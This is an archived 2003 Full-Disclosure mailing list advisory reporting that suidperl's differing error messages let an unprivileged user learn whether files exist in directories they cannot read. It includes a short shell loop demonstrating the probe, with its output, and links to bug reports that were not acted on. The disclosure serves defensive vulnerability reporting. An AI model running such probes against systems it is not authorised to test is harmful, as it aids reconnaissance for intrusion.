[Full-Disclosure] suidperl path disclosure

From: Paul Szabo (pszat_private)
Date: Tue Aug 26 2003 - 19:15:56 PDT

  • Next message: Bernhard Kuemel: "[Full-Disclosure] Re: Popular Net anonymity service back-doored"

    suidperl can be used for path disclosure (to verify if a file exists
    when the user has no access to the directories above). The error
    messages returned by suidperl are too revealing: in the examples below
    I expected a uniform 'permission denied' or similar.
    
    Set things up as one user (e.g. root):
    
      # pwd
      /root/ptest
      # ls -al
      total 8
      drwx------    2 root     root         4096 Jul 30 09:36 .
      drwx------   13 root     root         4096 Jul 30 09:35 ..
      -rwx------    1 root     root            0 Jul 30 09:36 file
      -rws------    1 root     root            0 Jul 30 09:36 sfile
    
    As another (normal) user, use suidperl to disclose path info:
    
      $ id
      uid=1001(psz) gid=1001(amstaff) groups=1001(amstaff),109(tutsols)
      $ for n in nosuch file sfile; do
      > echo ''; echo Test $n; suidperl /root/ptest/$n
      > done
      
      Test nosuch
      Can't open perl script "/root/ptest/nosuch": No such file or directory
      
      Test file
      Script is not setuid/setgid in suidperl
      
      Test sfile
      Permission denied.
    
    I cannot immediately see how this could be used for a root compromise.
    
    This problem was reported to perlbugat_private on 23 Mar 2001, see
    
      http://rt.perl.org/rt2/Ticket/Display.html?id=6511
    
    and to submitat_private on 30 Jul 2003, see
    
      http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=203426
    
    but is apparently not being worked on. Mis-quoting from that latter
    reference:
    
      Bug has been reported a month (or two years) ago, but those uncaring,
      lazy people have done nothing.
    
    Cheers,
    
    Paul Szabo - pszat_private  http://www.maths.usyd.edu.au:8000/u/psz/
    School of Mathematics and Statistics  University of Sydney   2006  Australia
    
    _______________________________________________
    Full-Disclosure - We believe in it.
    Charter: http://lists.netsys.com/full-disclosure-charter.html
    



    This archive was generated by hypermail 2b30 : Tue Aug 26 2003 - 20:07:32 PDT